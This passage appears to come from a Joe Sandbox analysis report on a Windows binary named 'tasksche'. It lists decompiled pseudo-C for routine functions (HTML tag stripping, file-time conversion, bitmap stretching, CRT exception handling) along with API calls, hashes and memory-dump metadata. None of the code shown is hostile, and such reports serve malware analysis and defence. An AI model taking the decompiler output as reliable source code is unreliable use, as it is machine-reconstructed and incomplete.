							 *((intOrPtr*)( *_t101 + 8))(_t101);
							_t103 = _v16;
							 *((intOrPtr*)( *_t103 + 8))(_t103);
							_t105 = _v8;
							 *((intOrPtr*)( *_t105 + 8))(_t105);
							_t78 = _v20;
							if(_t78 != 0) {
								L18:
								return _t78;
							} else {
								goto L17;
							}
						}
						_t117 = _v16;
						 *((intOrPtr*)( *_t117 + 8))(_t117);
						goto L9;
					}
				}
				return E00419D0B(_a4, _a8, _a12);
			}

0x00419ea0
0x00419ead
0x00419ecd
0x00419ed6
0x00419edc
0x00419edd
0x00419ee0
0x00419ee5
0x00419ee7
0x00419ee7
0x00419eea
0x00419efd
0x00419f05
0x0041a056
0x0041a056
0x00000000
0x00419f0b
0x00419f0b
0x00419f1b
0x00419f20
0x00419f23
0x00419f6a
0x00419f6d
0x00000000
0x00419f6d
0x00419f28
0x00419f29
0x00419f2e
0x00419f34
0x00419f5e
0x00419f5e
0x00419f64
0x00419f67
0x00000000
0x00419f67
0x00419f36
0x00419f39
0x00419f3b
0x00419f3d
0x00419f3e
0x00419f3f
0x00419f40
0x00419f43
0x00419f44
0x00419f45
0x00419f4a
0x00419f4d
0x00419f53
0x00419f7c
0x00419f88
0x00419f90
0x00419f94
0x00419f97
0x00419fa5
0x00419fac
0x00419faf
0x00419fb2
0x00419fb5
0x00419fbb
0x00419fc0
0x00419fcc
0x00419fce
0x00419fd8
0x00419fdb
0x00419fe8
0x00419feb
0x00419fee
0x00419ff9
0x00419fff
0x0041a003
0x0041a004
0x0041a007
0x0041a00a
0x0041a00d
0x0041a012
0x0041a018
0x0041a025
0x0041a01a
0x0041a01d
0x0041a01d
0x0041a02b
0x0041a031
0x0041a031
0x0041a034
0x0041a03a
0x0041a03d
0x0041a043
0x0041a046
0x0041a04c
0x0041a04f
0x0041a054
0x0041a059
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a054
0x00419f55
0x00419f5b
0x00000000
0x00419f5b
0x00419f05
0x00000000

APIs

Part of subcall function 00419E75: GetDC.USER32(00000000), ref: 00419E79
Part of subcall function 00419E75: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00419E84
Part of subcall function 00419E75: ReleaseDC.USER32 ref: 00419E8F

GetObjectW.GDI32(00000200,00000018,?,00000000,742BBB20), ref: 00419ECD
CoCreateInstance.OLE32(0042B208,00000000,00000001,0042B100,?,00000000,?), ref: 00419EFD

Part of subcall function 00419D0B: GetDC.USER32(00000000), ref: 00419D17
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(00000000), ref: 00419D27
Part of subcall function 00419D0B: CreateCompatibleDC.GDI32(?), ref: 00419D2E
Part of subcall function 00419D0B: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,00419EBD,00000200,?,?), ref: 00419D3C
Part of subcall function 00419D0B: CreateCompatibleBitmap.GDI32(?,00000200,00419EBD), ref: 00419D5E
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419D71
Part of subcall function 00419D0B: SelectObject.GDI32(?,00000200), ref: 00419D7C
Part of subcall function 00419D0B: StretchBlt.GDI32(?,00000000,00000000,00000200,00419EBD,00000000,00000000,00000000,?,?,00CC0020), ref: 00419D9A
Part of subcall function 00419D0B: SelectObject.GDI32(00000000,?), ref: 00419DA4
Part of subcall function 00419D0B: SelectObject.GDI32(?,00419EBD), ref: 00419DAC
Part of subcall function 00419D0B: DeleteDC.GDI32(00000000), ref: 00419DB5
Part of subcall function 00419D0B: DeleteDC.GDI32(?), ref: 00419DBA
Part of subcall function 00419D0B: ReleaseDC.USER32 ref: 00419DC0

Strings

(, xrefs: 00419FA5

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Object$CreateSelect$Compatible$DeleteRelease$BitmapCapsDeviceInstanceStretch
String ID: (
API String ID: 189428636-3887548279
Opcode ID: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction ID: d8cf3f11634150c5eb1370622c6fe0712570af28e2ae67cdae83cea958a68594
Opcode Fuzzy Hash: 2c95d850f981d7af9c5ed3b9bf4fae1c522e7595f6c5569b0b0a1ef1f992ee39
Instruction Fuzzy Hash: 21610875A00209EFCB00DFA5D888EEEBBB9FF89704B10845AF815EB250D7759E51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041947D Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E0041947D(void* __ebx, void* __ecx, void* __eflags, signed short* _a4, signed short* _a7) {
				signed short* _v8;
				void* __edi;
				signed short* _t18;
				signed short* _t19;
				signed int _t20;
				signed int _t21;
				signed short _t22;
				void* _t23;
				void* _t25;
				signed int _t26;
				void* _t27;
				signed int _t29;
				signed short* _t30;
				void* _t34;
				signed short* _t35;
				short _t41;
				signed int _t42;
				signed short _t43;
				short _t44;
				void* _t45;
				signed short* _t46;
				void* _t49;
				signed short* _t51;
				short* _t52;
				short* _t54;
				signed short* _t56;
				signed short* _t69;

				_push(__ecx);
				_t56 = _a4;
				_t49 = __ecx;
				_t18 = E0041CF3E(__ebx, _t45, _t49, E0041A7AF(_t56) + _t16 + 2);
				_v8 = _t18;
				if(_t18 == 0) {
					L44:
					return _t18;
				}
				_t19 = E004191A2(_t56);
				_t51 = _v8;
				_a7 = _t19;
				_t20 =  *_t56 & 0x0000ffff;
				if(_t20 == 0) {
					L43:
					_t18 = _v8;
					goto L44;
				}
				_push(__ebx);
				while(1) {
					_t65 = _t20;
					if(_t20 != 0) {
						goto L3;
					}
					L26:
					_t21 = E00411E81(_t65, _t56, L"</p>", 4);
					asm("sbb bl, bl");
					_t34 =  ~_t21 + 1;
					_t66 = _t34;
					if(_t34 != 0 || E00411E81(_t66, _t56, L"<br>", 4) == 0) {
						_t22 = 0xd;
						 *_t51 = _t22;
						_t23 = 2;
						_t52 = _t51 + _t23;
						_t41 = 0xa;
						 *_t52 = _t41;
						_t51 = _t52 + _t23;
						if(_t34 != 0) {
							_t43 = 0xd;
							 *_t51 = _t43;
							_t54 = _t51 + _t23;
							_t44 = 0xa;
							 *_t54 = _t44;
							_t51 = _t54 + _t23;
							_t69 = _t51;
						}
					}
					 *_t51 = 0;
					_t25 = E00411E81(_t69, _t56, L"<style>", 7);
					if(_t25 != 0) {
						while(1) {
							_t26 =  *_t56 & 0x0000ffff;
							__eflags = _t26;
							if(_t26 == 0) {
								break;
							}
							__eflags = _t26 - 0x3e;
							if(_t26 == 0x3e) {
								L40:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								goto L41;
							}
							_t56 =  &(_t56[1]);
							__eflags = _t56;
						}
						__eflags =  *_t56 - 0x3e;
						if( *_t56 != 0x3e) {
							goto L41;
						}
						goto L40;
					} else {
						_t71 =  *_t56 - _t25;
						if( *_t56 == _t25) {
							L42:
							goto L43;
						} else {
							goto L32;
						}
						while(1) {
							L32:
							_t27 = E00411E81(_t71, _t56, L"</style>", 8);
							_t56 =  &(_t56[1]);
							if(_t27 == 0) {
								break;
							}
							if( *_t56 != 0) {
								continue;
							}
							L41:
							_t20 =  *_t56 & 0x0000ffff;
							if(_t20 != 0) {
								goto L3;
							}
							goto L42;
						}
						_t56 =  &(_t56[7]);
						goto L41;
					}
					L3:
					__eflags = _t20 - 0x3c;
					if(__eflags == 0) {
						goto L26;
					}
					__eflags = _a7;
					if(_a7 == 0) {
						L10:
						_t35 = 0;
						__eflags = _a7;
						if(_a7 == 0) {
							L18:
							_t29 =  *_t56 & 0x0000ffff;
							__eflags = _t29;
							if(__eflags == 0) {
								goto L26;
							}
							__eflags = _t29 - 0x20;
							if(_t29 != 0x20) {
								L22:
								 *_t51 = _t29;
								_t51 =  &(_t51[1]);
								__eflags = _t51;
								L23:
								_t56 =  &(_t56[1]);
								__eflags = _t56;
								L24:
								_t20 =  *_t56 & 0x0000ffff;
								continue;
							}
							__eflags = _t51 - _v8;
							if(_t51 == _v8) {
								goto L22;
							}
							__eflags =  *((intOrPtr*)(_t51 - 2)) - _t29;
							if( *((intOrPtr*)(_t51 - 2)) == _t29) {
								goto L23;
							}
							goto L22;
						}
						__eflags = _t20 - 0x26;
						if(_t20 != 0x26) {
							goto L18;
						}
						_t46 = 0;
						__eflags = 0;
						do {
							_t30 = _t46 + _t56;
							_t42 =  *_t30 & 0x0000ffff;
							__eflags = _t42;
							if(_t42 == 0) {
								break;
							}
							__eflags = _t42 - 0x3b;
							if(_t42 == 0x3b) {
								_t12 =  &(_t30[1]); // 0x2
								_t56 = _t12;
								_t35 = 1;
							}
							_t46 = _t46 + 2;
							__eflags = _t46 - 0x28;
						} while (_t46 < 0x28);
						__eflags = _t35;
						if(__eflags != 0) {
							goto L24;
						}
						goto L18;
					}
					__eflags = _t20 - 0xd;
					if(_t20 == 0xd) {
						L7:
						__eflags = _t51 - _v8;
						if(_t51 == _v8) {
							L9:
							_t29 = 0x20;
							goto L22;
						}
						__eflags =  *((short*)(_t51 - 2)) - 0x20;
						if( *((short*)(_t51 - 2)) == 0x20) {
							goto L23;
						}
						goto L9;
					}
					__eflags = _t20 - 0xa;
					if(_t20 != 0xa) {
						goto L10;
					}
					goto L7;
				}
			}

0x00419480
0x00419482
0x00419487
0x00419493
0x0041949a
0x0041949f
0x004195f9
0x004195fc
0x004195fc
0x004194a8
0x004194ad
0x004194b0
0x004194b3
0x004194b9
0x004195f6
0x004195f6
0x00000000
0x004195f6
0x004194bf
0x0041953e
0x0041953e
0x00419541
0x00000000
0x00000000
0x00419547
0x0041954f
0x00419558
0x0041955a
0x0041955a
0x0041955c
0x00419571
0x00419572
0x00419577
0x00419578
0x0041957c
0x0041957d
0x00419580
0x00419584
0x00419588
0x00419589
0x0041958e
0x00419590
0x00419591
0x00419594
0x00419594
0x00419594
0x00419584
0x004195a0
0x004195a3
0x004195aa
0x004195d9
0x004195d9
0x004195dc
0x004195df
0x00000000
0x00000000
0x004195d1
0x004195d5
0x004195e7
0x004195e8
0x004195e8
0x00000000
0x004195e8
0x004195d8
0x004195d8
0x004195d8
0x004195e1
0x004195e5
0x00000000
0x00000000
0x00000000
0x004195ac
0x004195ac
0x004195af
0x004195f5
0x00000000
0x00000000
0x00000000
0x00000000
0x004195b1
0x004195b1
0x004195b9
0x004195bf
0x004195c2
0x00000000
0x00000000
0x004195c8
0x00000000
0x00000000
0x004195e9
0x004195e9
0x004195ef
0x00000000
0x00000000
0x00000000
0x004195ef
0x004195cc
0x00000000
0x004195cc
0x004194c2
0x004194c2
0x004194c6
0x00000000
0x00000000
0x004194c8
0x004194cc
0x004194eb
0x004194eb
0x004194ed
0x004194f0
0x0041951b
0x0041951b
0x0041951e
0x00419521
0x00000000
0x00000000
0x00419523
0x00419527
0x00419534
0x00419534
0x00419538
0x00419538
0x00419539
0x0041953a
0x0041953a
0x0041953b
0x0041953b
0x00000000
0x0041953b
0x00419529
0x0041952c
0x00000000
0x00000000
0x0041952e
0x00419532
0x00000000
0x00000000
0x00000000
0x00419532
0x004194f2
0x004194f6
0x00000000
0x00000000
0x004194f8
0x004194f8
0x004194fa
0x004194fa
0x004194fd
0x00419500
0x00419503
0x00000000
0x00000000
0x00419505
0x00419509
0x0041950b
0x0041950b
0x0041950e
0x0041950e
0x00419511
0x00419512
0x00419512
0x00419517
0x00419519
0x00000000
0x00000000
0x00000000
0x00419519
0x004194ce
0x004194d2
0x004194da
0x004194da
0x004194dd
0x004194e6
0x004194e8
0x00000000
0x004194e8
0x004194df
0x004194e4
0x00000000
0x00000000
0x00000000
0x004194e4
0x004194d4
0x004194d8
0x00000000
0x00000000
0x00000000
0x004194d8

APIs

_wcslen.LIBCMT ref: 00419489
_malloc.LIBCMT ref: 00419493

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Strings

<style>, xrefs: 00419598
</p>, xrefs: 00419549
<br>, xrefs: 00419560
</style>, xrefs: 004195B3

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateHeap_malloc_wcslen
String ID: </p>$</style>$<br>$<style>
API String ID: 4208083856-1200123991
Opcode ID: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction ID: 25e48dc46573b9320602deb0b34776bf62bfe2b29788b043e296d39cf0375d11
Opcode Fuzzy Hash: 84057df06bfe7753af8be449b5ed96cf61f8b1a65555f0712547b90151fa4e6f
Instruction Fuzzy Hash: 69412477645212B5DB315B1998217FA73A69F01754F68401BED81B32C0E76C8EC2C26D

Uniqueness

Uniqueness Score: -1.00%

Function 004113F1 Relevance: 10.6, APIs: 7, Instructions: 134
timeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E004113F1(long* __ecx, signed int* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				void* _v32;
				struct _FILETIME _v36;
				struct _SYSTEMTIME _v52;
				struct _SYSTEMTIME _v68;
				struct _SYSTEMTIME _v84;
				void* _t71;
				signed int _t81;
				void* _t84;
				signed int _t113;
				long _t115;
				signed int* _t126;

				_v20.dwLowDateTime =  *__ecx;
				_v20.dwHighDateTime = __ecx[1];
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v20,  &_v68);
					SystemTimeToTzSpecificLocalTime(0,  &_v68,  &_v84);
					SystemTimeToFileTime( &_v84,  &_v12);
					SystemTimeToFileTime( &_v68,  &_v28);
					_t115 = _v20.dwHighDateTime;
					asm("adc ecx, ebx");
					_t71 = E0041ABD0(_v12.dwHighDateTime + _t115, 0, 0, 1);
					asm("sbb edx, ebx");
					asm("sbb edx, ebx");
					asm("adc edx, ebx");
					asm("adc edx, ebx");
					_v12.dwLowDateTime = _t71 - _v28.dwLowDateTime + _v12.dwLowDateTime + _v20.dwLowDateTime;
					_v12.dwHighDateTime = _t115;
				} else {
					FileTimeToLocalFileTime( &_v20,  &_v12);
				}
				FileTimeToSystemTime( &_v12,  &_v52);
				_t126 = _a4;
				_t81 = _v52.wDay & 0x0000ffff;
				_t113 = _v52.wMonth & 0x0000ffff;
				_t116 = _v52.wYear & 0x0000ffff;
				_t126[3] = _v52.wHour & 0x0000ffff;
				_t126[2] = _t81;
				_t126[4] = _v52.wMinute & 0x0000ffff;
				_t126[8] = _t81 - 1;
				_t126[5] = _v52.wSecond & 0x0000ffff;
				_t84 = 1;
				 *_t126 = _v52.wYear & 0x0000ffff;
				_t126[1] = _t113;
				_t126[7] = _v52.wDayOfWeek & 0x0000ffff;
				if(_t113 > 1) {
					_a4 = 0x430138;
					while(_t84 <= 0xc) {
						_t126[8] = _t126[8] +  *_a4;
						_a4 =  &(_a4[1]);
						_t84 = _t84 + 1;
						if(_t84 < _t113) {
							continue;
						}
						goto L7;
					}
				}
				L7:
				if(_t113 > 2 && E004113C2(_t116) != 0) {
					_t126[8] = _t126[8] + 1;
				}
				_v52.wMilliseconds = 0;
				SystemTimeToFileTime( &_v52,  &_v36);
				_t126[6] = 0 - _v36.dwLowDateTime + _v12.dwLowDateTime;
				return _v12.dwHighDateTime;
			}

0x004113ff
0x00411402
0x0041141b
0x00411435
0x00411441
0x0041144f
0x00411459
0x0041145b
0x0041146a
0x0041146e
0x0041147d
0x00411486
0x0041148d
0x00411491
0x00411493
0x0041149b
0x0041141d
0x00411425
0x00411425
0x004114a6
0x004114a8
0x004114af
0x004114b3
0x004114b7
0x004114bb
0x004114c2
0x004114c5
0x004114cd
0x004114d2
0x004114d9
0x004114da
0x004114dc
0x004114df
0x004114e4
0x004114e6
0x004114ed
0x004114f7
0x004114fa
0x004114fe
0x00411501
0x00000000
0x00000000
0x00000000
0x00411501
0x004114ed
0x00411503
0x00411506
0x00411512
0x00411512
0x00411517
0x00411523
0x00411538
0x0041153e

APIs

Part of subcall function 00409C06: GetVersionExW.KERNEL32(?), ref: 00409C2B

FileTimeToLocalFileTime.KERNEL32(?,?,?,?), ref: 00411425
FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00411435
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00411441
SystemTimeToFileTime.KERNEL32(?,?), ref: 0041144F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411459
FileTimeToSystemTime.KERNEL32(?,?,?,00000000,00000000,00000001), ref: 004114A6
SystemTimeToFileTime.KERNEL32(?,?), ref: 00411523

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction ID: 2321c29e0176793db35fe244bdb3b2ca835dfa759224b44d16608c614d02fbda
Opcode Fuzzy Hash: b334752188d409053c41308d043ef773f1ba1375d33674074c65fffa3be1e0d1
Instruction Fuzzy Hash: 40410AB1E00218AFCB14DFA9C8849EEB7F9FF48314B14852FE946E7240D778A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D92D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D92D(intOrPtr* __edi, void* __eflags) {
				char _v5;
				char _v8200;
				void* __ebx;
				void* __esi;
				intOrPtr _t18;
				short* _t28;
				void* _t31;
				signed int _t32;
				void* _t39;
				intOrPtr* _t41;
				short* _t42;
				void* _t43;

				_t41 = __edi;
				E0041AAF0(0x2004);
				_t42 = E0041CF3E(_t31, _t39, __edi, 0x20000);
				if(_t42 == 0) {
					E004063CE(0x4335ac);
				}
				 *_t42 = 0;
				_t32 = 0;
				while(1) {
					_t18 = E0040D781(0,  &_v8200, _t42,  *_t41, 0,  &_v5, 0x1000);
					 *_t41 = _t18;
					if(_t18 == 0) {
						break;
					}
					if( *_t42 != 0 || _v8200 != 0x7b) {
						if(_v8200 == 0x7d || E0041A7AF( &_v8200) + _t32 > 0xfffb) {
							break;
						} else {
							E0041A7C9(_t42,  &_v8200);
							_t32 = E0041A7AF(_t42);
							_t43 = _t43 + 0xc;
							if(_t32 <= 0) {
								L11:
								if(_v5 == 0) {
									E0041A7F7(_t42 + _t32 * 2, L"\r\n");
								}
								continue;
							}
							_t6 = _t32 * 2; // -2
							_t28 = _t42 + _t6 - 2;
							while( *_t28 == 0x20) {
								_t32 = _t32 - 1;
								_t28 = _t28;
								if(_t32 > 0) {
									continue;
								}
								goto L11;
							}
							goto L11;
						}
					} else {
						continue;
					}
				}
				return _t42;
			}

APIs

_malloc.LIBCMT ref: 0040D941

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcslen.LIBCMT ref: 0040D981
_wcscat.LIBCMT ref: 0040D998
_wcslen.LIBCMT ref: 0040D99E
_wcscpy.LIBCMT ref: 0040D9CC

Strings

}, xrefs: 0040D970

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$AllocateHeap_malloc_wcscat_wcscpy
String ID: }
API String ID: 2020890722-4239843852
Opcode ID: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction ID: a9b9a9eb170ff11f00d7125a4cd00596761e48c06437fb6caf1dcbb108c8f9f0
Opcode Fuzzy Hash: 87a1d4075c0fbabaaf42ee75a1288eb88e4c448287557cbd43c96a9187b86b14
Instruction Fuzzy Hash: 6111B771D0131A59EB25ABE08CC57DB72B8DF00354F10007BE645E22D1EBBC9A99C39D

Uniqueness

Uniqueness Score: -1.00%

Function 00411541 Relevance: 9.1, APIs: 6, Instructions: 104
timeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00411541(signed int* __ecx, intOrPtr* _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				void* _v24;
				struct _FILETIME _v28;
				struct _SYSTEMTIME _v44;
				struct _SYSTEMTIME _v60;
				struct _SYSTEMTIME _v76;
				int _t52;
				void* _t67;
				long _t71;
				signed int* _t75;
				signed int _t84;
				intOrPtr* _t86;
				intOrPtr _t87;

				_t86 = _a4;
				_v44.wYear =  *_t86;
				_t3 = _t86 + 4; // 0xffec8b55
				_v44.wMonth =  *_t3;
				_t5 = _t86 + 8; // 0x75ff1c75
				_v44.wDay =  *_t5;
				_t7 = _t86 + 0xc; // 0x1475ff18
				_v44.wHour =  *_t7;
				_t9 = _t86 + 0x10; // 0xff1075ff
				_v44.wMinute =  *_t9;
				_t11 = _t86 + 0x14; // 0x75ff0c75
				_v44.wSecond =  *_t11;
				_v44.wMilliseconds = 0;
				_t75 = __ecx;
				_t52 = SystemTimeToFileTime( &_v44,  &_v12);
				if(_t52 == 0) {
					 *_t75 =  *_t75 & 0x00000000;
					_t75[1] = _t75[1] & 0x00000000;
					return _t52;
				}
				_t16 = _t86 + 0x18; // 0xd00ae808
				_t87 =  *_t16;
				_v12.dwLowDateTime = _v12.dwLowDateTime + _t87;
				if(_v12.dwLowDateTime < _t87) {
					_v12.dwHighDateTime = _v12.dwHighDateTime + 1;
				}
				if(E00409C06() >= 0x600) {
					FileTimeToSystemTime( &_v12,  &_v60);
					__imp__TzSpecificLocalTimeToSystemTime(0,  &_v60,  &_v76);
					SystemTimeToFileTime( &_v76,  &_v20);
					SystemTimeToFileTime( &_v60,  &_v28);
					_t84 = _v12.dwHighDateTime;
					asm("adc ecx, esi");
					_t67 = E0041ABD0(_v20.dwHighDateTime + _t84, 0, 0, 1);
					asm("sbb edx, esi");
					asm("sbb edx, esi");
					asm("adc edx, esi");
					_t71 = _t67 - _v28.dwLowDateTime + _v20.dwLowDateTime + _v12.dwLowDateTime;
					asm("adc edx, esi");
				} else {
					LocalFileTimeToFileTime( &_v12,  &_v20);
					_t84 = _v20.dwHighDateTime;
					_t71 = _v20.dwLowDateTime;
				}
				 *_t75 = _t71;
				_t75[1] = _t84;
				return _t71;
			}

0x00411549
0x0041154f
0x00411553
0x00411557
0x0041155b
0x0041155f
0x00411563
0x00411567
0x0041156b
0x0041156f
0x00411573
0x00411577
0x00411584
0x00411590
0x00411592
0x00411596
0x00411642
0x00411645
0x00000000
0x00411645
0x0041159c
0x0041159c
0x0041159f
0x004115a5
0x004115a7
0x004115a7
0x004115b4
0x004115d4
0x004115e4
0x004115f2
0x004115fc
0x004115fe
0x0041160d
0x00411611
0x00411620
0x00411629
0x00411630
0x00411632
0x00411634
0x004115b6
0x004115be
0x004115c4
0x004115c7
0x004115c7
0x0041163b
0x0041163d
0x00000000

APIs

SystemTimeToFileTime.KERNEL32(?,004116A7,?,?), ref: 00411592
LocalFileTimeToFileTime.KERNEL32(004116A7,?), ref: 004115BE
FileTimeToSystemTime.KERNEL32(004116A7,?), ref: 004115D4
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 004115E4
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115F2
SystemTimeToFileTime.KERNEL32(?,?), ref: 004115FC

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Time$File$System$Local$Specific
String ID:
API String ID: 3144155402-0
Opcode ID: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction ID: daaaa78088cd12f13caf2716ff388f37494b9d87aa27411613d97d80370a29eb
Opcode Fuzzy Hash: f90245df41cc322dafe52bf530a12eef1bc8a67292351d8d3269b2ac88901438
Instruction Fuzzy Hash: 92313276D001199BCB14DFD4C840AEFB7B9FF48710F04452AE946E3250E634A945CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD85 Relevance: 9.0, APIs: 6, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0041DD85(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t48;
				intOrPtr _t57;
				void* _t58;
				void* _t61;

				_t61 = __eflags;
				_t53 = __edx;
				_push(0x2c);
				_push(0x42d800);
				E0041FA9C(__ebx, __edi, __esi);
				_t48 = __ecx;
				_t55 =  *((intOrPtr*)(_t58 + 0xc));
				_t57 =  *((intOrPtr*)(_t58 + 8));
				 *((intOrPtr*)(_t58 - 0x1c)) = __ecx;
				 *(_t58 - 0x34) =  *(_t58 - 0x34) & 0x00000000;
				 *((intOrPtr*)(_t58 - 0x24)) =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0xc)) - 4));
				 *((intOrPtr*)(_t58 - 0x28)) = E0041A3D6(_t58 - 0x3c,  *((intOrPtr*)(_t57 + 0x18)));
				 *((intOrPtr*)(_t58 - 0x2c)) =  *((intOrPtr*)(E0041E9B4(__ecx, __edx, _t55, _t61) + 0x88));
				 *((intOrPtr*)(_t58 - 0x30)) =  *((intOrPtr*)(E0041E9B4(_t48, __edx, _t55, _t61) + 0x8c));
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x88)) = _t57;
				 *((intOrPtr*)(E0041E9B4(_t48, _t53, _t55, _t61) + 0x8c)) =  *((intOrPtr*)(_t58 + 0x10));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *((intOrPtr*)(_t58 + 0x10)) = 1;
				 *(_t58 - 4) = 1;
				 *((intOrPtr*)(_t58 - 0x1c)) = E0041A47B(_t55,  *((intOrPtr*)(_t58 + 0x14)), _t48,  *((intOrPtr*)(_t58 + 0x18)),  *((intOrPtr*)(_t58 + 0x1c)));
				 *(_t58 - 4) =  *(_t58 - 4) & 0x00000000;
				 *(_t58 - 4) = 0xfffffffe;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				E0041DEAB(_t48, _t53, _t55, _t57, _t61);
				return E0041FAE1( *((intOrPtr*)(_t58 - 0x1c)));
			}

APIs

__CreateFrameInfo.LIBCMT ref: 0041DDAD

Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3E4
Part of subcall function 0041A3D6: __getptd.LIBCMT ref: 0041A3F2

__getptd.LIBCMT ref: 0041DDB7

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 0041DDC5
__getptd.LIBCMT ref: 0041DDD3
__getptd.LIBCMT ref: 0041DDDE
_CallCatchBlock2.LIBCMT ref: 0041DE04

Part of subcall function 0041A47B: __CallSettingFrame@12.LIBCMT ref: 0041A4C7

